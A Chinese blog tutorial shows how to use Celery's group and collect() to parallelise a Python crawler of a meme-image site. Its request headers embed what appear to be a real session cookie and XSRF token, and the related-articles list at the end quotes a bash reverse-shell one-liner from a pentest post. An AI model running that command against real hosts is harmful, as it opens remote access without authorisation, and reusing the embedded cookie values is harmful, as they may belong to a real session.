【Python3爬虫】快就完事了--使用Celery加速你的爬虫
一、写在前面
在上一篇博客中提到过对于网络爬虫这种包含大量网络请求的任务,是可以用Celery来做到加速爬取的,那么,这一篇博客就要具体说一下怎么用Celery来对我们的爬虫进行一个加速!
二、知识补充
1.class celery.group
group这个类表示创建一组要并行执行的任务,不过一组任务是懒惰的,所以你需要运行并对其进行评估。要了解这个类,可以查看文档,或者在Pycharm中直接Ctrl+左键就能直接查看源码了,如下图:
当然了,直接看源码还不够,最好还是自己动下手。所以先创建一个test.py,其中代码如下:
from celery import Celery app = Celery("test", broker="redis://127.0.0.1:6379", backend="redis://127.0.0.1:6379") @app.task
def add(x, y):
return x + y if __name__ == '__main__':
app.start()
然后运行Celery服务器,再在test.py所在目录下创建一个test_run.py用于测试,其中代码如下:
from celery import group
from .test import add lazy_group = group(add.s(2, 2), add.s(4, 4))
print(type(lazy_group))
result = lazy_group()
print(result)
print(type(result))
print(result.get())
在Pycharm中运行test_run.py,得到的结果如下:
<class 'celery.canvas.group'>
fe54f453-eb9c-4b24-87e3-a26fab75967f
<class 'celery.result.GroupResult'>
[4, 8]
通过查看源码可以知道,是可以往group中传入一个由任务组成的可迭代对象的,所以这就进行一下测试,对上面的代码进行一点修改:
from celery import group
from CelerySpider.test import add lazy_group = group(add.s(x, y) for x, y in zip([1, 3, 5, 7, 9], [2, 4, 6, 8, 10]))
result = lazy_group()
print(result)
print(result.get())
运行之后得到了我们想要的结果:
f03387f1-af00-400b-b58a-37901563251d
[3, 7, 11, 15, 19]
2.celer.result.collect()
在Celery中有一个类result,这个类包含了任务运行的结果和状态等,而在这个类中就有一个collect()方法,使用该方法能在结果返回时收集结果。和之前一样的步骤,先看看源码:
这里看源码也是看得一头雾水,不如动手写代码试试看。创建一个app.py,其中代码如下:
from celery import Celery, group, result app = Celery("test", broker="redis://127.0.0.1:6379", backend="redis://127.0.0.1:6379") @app.task(trail=True)
def A(how_many):
return group(B.s(i) for i in range(how_many))() @app.task(trail=True)
def B(i):
return pow2.delay(i) @app.task(trail=True)
def pow2(i):
return i ** 2 if __name__ == '__main__':
app.start()
可以看到在设置任务的时候都加了参数trail=True,这是为了存储子任务列表运行后的结果,虽然是默认设置,但这里明确启用。在运行Celery服务器之中,进入app.py同级目录,输入python,然后执行如下代码:
>>> from app import A
>>> res = A.delay(10)
>>> [i[1] for i in res.collect() if isinstance(i[1], int)]
[0, 1, 4, 9, 16, 25, 36, 49, 64, 81]
三、具体步骤
1.项目结构
这个爬虫项目的基本文件如下:
其中app.py用于创建Celery实例,celeryconfig.py是Celery需要使用的配置文件,tasks.py里面的则是具体的任务,crawl.py是爬虫脚本,在打开Celery服务器之后,运行此文件即可。
2.主要代码
首先是app.py,代码如下,其中config_from_object()方法用于配置Celery,传入的参数是一个可被导入的模块:
from celery import Celery app = Celery("spiders", include=["CelerySpider.tasks"])
# 导入配置文件
app.config_from_object("CelerySpider.celeryconfig") if __name__ == '__main__':
app.start()
下面是tasks.py中的代码,其中包含了发送请求和解析网页的代码:
import requests
from lxml import etree
from celery import group
from CelerySpider.app import app headers = {
"Cookie": "__cfduid=d5d815918f19b7370d14f80fc93f1f27e1566719058; UM_distinctid=16cc7bba92f7b6-0aac860ea9b9a7-7373e61-144000-16cc7bba930727; CNZZDATA1256911977=1379501843-1566718872-https%253A%252F%252Fwww.baidu.com%252F%7C1566718872; XSRF-TOKEN=eyJpdiI6InJvNVdZM0krZ1wvXC9BQjg3YUk5aGM1Zz09IiwidmFsdWUiOiI5WkI4QU42a0VTQUxKU2ZZelVxK1dFdVFydlVxb3g0NVpicEdkSGtyN0Uya3VkXC9pUkhTd2plVUtUTE5FNWR1aCIsIm1hYyI6Ijg4NjViZTQzNGRhZDcxNTdhMDZlMWM5MzI4NmVkOGZhNmRlNTBlYWM0MzUyODIyOWQ4ZmFhOTUxYjBjMTRmNDMifQ%3D%3D; doutula_session=eyJpdiI6IjFoK25pTG50azEwOXlZbmpWZGtacnc9PSIsInZhbHVlIjoiVGY2MU5Ob2pocnJsNVBLZUNMTWw5OVpjT0J6REJmOGVpSkZwNFlUZVwvd0tsMnZsaiszWEpTbEdyZFZ6cW9UR1QiLCJtYWMiOiIxZGQzNTJlNzBmYWE0MmQzMzQ0YzUzYmYwYmMyOWY3YzkxZjJlZTllNDdiZTlkODA2YmQ3YWRjNGRmZDgzYzNmIn0%3D",
"Referer": "https://www.doutula.com/article/list/?page=1",
"UserAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36"
} @app.task(trail=True)
def main(urls):
# 主函数
return group(call.s(url) for url in urls)() @app.task(trail=True)
def call(url):
# 发送请求
try:
res = requests.get(url, headers=headers)
parse.delay(res.text)
except Exception as e:
print(e) @app.task(trail=True)
def parse(html):
# 解析网页
et = etree.HTML(html)
href_list = et.xpath('//*[@id="home"]/div/div[2]/a/@href')
result = []
for href in href_list:
href_res = requests.get(href, headers=headers)
href_et = etree.HTML(href_res.text)
src_list = href_et.xpath('//*[@class="artile_des"]/table/tbody/tr/td/a/img/@src')
result.extend(src_list)
return result
最后是crawl.py中的代码:
import time
from CelerySpider.tasks import main start_time = time.time() url_list = ["https://www.doutula.com/article/list/?page={}".format(i) for i in range(1, 31)]
res = main.delay(url_list)
all_src = []
for i in res.collect():
if isinstance(i[1], list) and isinstance(i[1][0], str):
all_src.extend(i[1]) print("Src count: ", len(all_src)) end_time = time.time()
print("Cost time: ", end_time - start_time)
此次爬取的网站是一个表情包网站,url_list就表示要爬取的url,这里我选择爬取30页来测试。all_src用于存储表情包图片的资源链接,通过collect()方法提取出要爬取的链接,然后将这些表情包下载下来,最后打印出下载的图片数量和整个程序所耗费的时间。
四、运行结果
当运行Celery服务后,再运行crawl.py文件,会看到如下信息打印出来:
当整个爬虫运行完毕后,会打印出所耗费的时间:
完整代码已上传到GitHub!
【Python3爬虫】快就完事了--使用Celery加速你的爬虫的更多相关文章
- Python爬虫之使用celery加速爬虫
celery是一个基于分布式消息传输的异步任务队列,它专注于实时处理,同时也支持任务调度.关于celery的更多介绍及例子,笔者可以参考文章Python之celery的简介与使用. 本文将介绍 ...
- python3下scrapy爬虫(第十四卷:scrapy+scrapy_redis+scrapyd打造分布式爬虫之执行)
现在我们现在一个分机上引入一个SCRAPY的爬虫项目,要求数据存储在MONGODB中 现在我们需要在SETTING.PY设置我们的爬虫文件 再添加PIPELINE 注释掉的原因是爬虫执行完后,和本地存 ...
- python爬虫主要就是五个模块:爬虫启动入口模块,URL管理器存放已经爬虫的URL和待爬虫URL列表,html下载器,html解析器,html输出器 同时可以掌握到urllib2的使用、bs4(BeautifulSoup)页面解析器、re正则表达式、urlparse、python基础知识回顾(set集合操作)等相关内容。
本次python爬虫百步百科,里面详细分析了爬虫的步骤,对每一步代码都有详细的注释说明,可通过本案例掌握python爬虫的特点: 1.爬虫调度入口(crawler_main.py) # coding: ...
- 大众点评评论数据抓取 反爬虫措施有css文字映射和字体库反爬虫
大众点评评论数据抓取 反爬虫措施有css文字映射和字体库反爬虫 大众点评的反爬虫手段有那些: 封ip,封账号,字体库反爬虫,css文字映射,图形滑动验证码 这个图片是滑动验证码,访问频率高的话,会出 ...
- 【Python3爬虫】爬取美女图新姿势--Redis分布式爬虫初体验
一.写在前面 之前写的爬虫都是单机爬虫,还没有尝试过分布式爬虫,这次就是一个分布式爬虫的初体验.所谓分布式爬虫,就是要用多台电脑同时爬取数据,相比于单机爬虫,分布式爬虫的爬取速度更快,也能更好地应对I ...
- python3+beautifulSoup4.6抓取某网站小说(一)爬虫初探
本次学习重点: 1.使用urllib的request进行网页请求,获取当前url整版网页内容 2.对于多级抓取,先想好抓取思路,再动手 3.BeautifulSoup获取html网页中的指定内容 4. ...
- 【python3两小时快速入门】入门笔记03:简单爬虫+多线程爬虫
作用,之间将目标网页保存金本地 1.爬虫代码修改自网络,目前运行平稳,博主需要的是精准爬取,数据量并不大,暂未加多线程. 2.分割策略是通过查询条件进行分类,循环启动多条线程. 1.单线程简单爬虫(第 ...
- python3下scrapy爬虫(第十三卷:scrapy+scrapy_redis+scrapyd打造分布式爬虫之配置)
之前我们的爬虫都是单机爬取,也是单机维护REQUEST队列, 看一下单机的流程图: 一台主机控制一个队列,现在我要把它放在多机执行,会产生一个事情就是做重复的爬取,毫无意义,所以分布式爬虫的第一个难点 ...
- Python3 网络爬虫:漫画下载,动态加载、反爬虫这都不叫事
一.前言 作者:Jack Cui 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更加高深的知识.那 ...
随机推荐
- 洛谷P2172 [国家集训队]部落战争 题解
题目链接:https://www.luogu.org/problemnew/show/P2172 分析: 不要被[国家集训队]的标签吓到,其实这题不是很难. 本题可以对比P4304 [TJOI2013 ...
- linux几种方式来弹哥shell
渗透测试linux主机的时候,能够去 弹个shell进行交互是非常重要的 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i :打 ...
- md文档的书写《二》
对<md文档的书写一>的补充和部分归总 我使用的是Typora,快捷键可能有些片面,没有特殊说明,下文所有快捷键都是Typora编辑器下支持的快捷键,望知晓. 关于标题的书写补充 除了 ( ...
- python注释-输入输出-基本数据类型-运算符
python注释 用处:注释用来书写一些解释性信息,对代码的逻辑作用等作出描述 单行注释.多行注释 # 这是行注释,注释内容与# 之间要空一格 print("hello world!&quo ...
- E-R图怎么绘制
E-R图中主要涉及到的元素有: 实体:用长方形表示 关联关系:用菱形表示 属性:用椭圆表示 参考一个例子:
- JQuery操作CheckBox 第二次无法选中的问题
用JQuery做CheckBox全选和反选的时候,遇到一个问题.当用JQ控制全选,全取消一次以后,再次点击全选,发现代码变了,但是CheckBox没有处于选中状态. 百度后得知: 我使用的方法是 $( ...
- TP框架基础(三)
[系统常量信息] 获取系统常量信息: 如果加参数true,会分组显示: >系统常量信息里经常用到的是user里的路径 > APP_PATH =>string'./shop/' 项目路 ...
- 【RabbitMQ】一文带你搞定RabbitMQ延迟队列
本文口味:鱼香肉丝 预计阅读:10分钟 一.说明 在上一篇中,介绍了RabbitMQ中的死信队列是什么,何时使用以及如何使用RabbitMQ的死信队列.相信通过上一篇的学习,对于死信队列已经有了更 ...
- Mysql架构简要
1. MySql 最上层是一些客户端和连接服务,包含本地sock通信和大多数基于客户端/服务端工具实现的类似于tcp/ip的通信. 主要完成一些类似于连接处理.授权认证.及相关的安全方案.在该层上引入 ...
- centos7安装mongodb详解
记录一下linux下安装mongodb数据库过程. 安装mongodb #下载linux版本的tar文件# 例如笔者下载的是:mongodb-linux-x86_64-rhel70-3.4.4.tg ...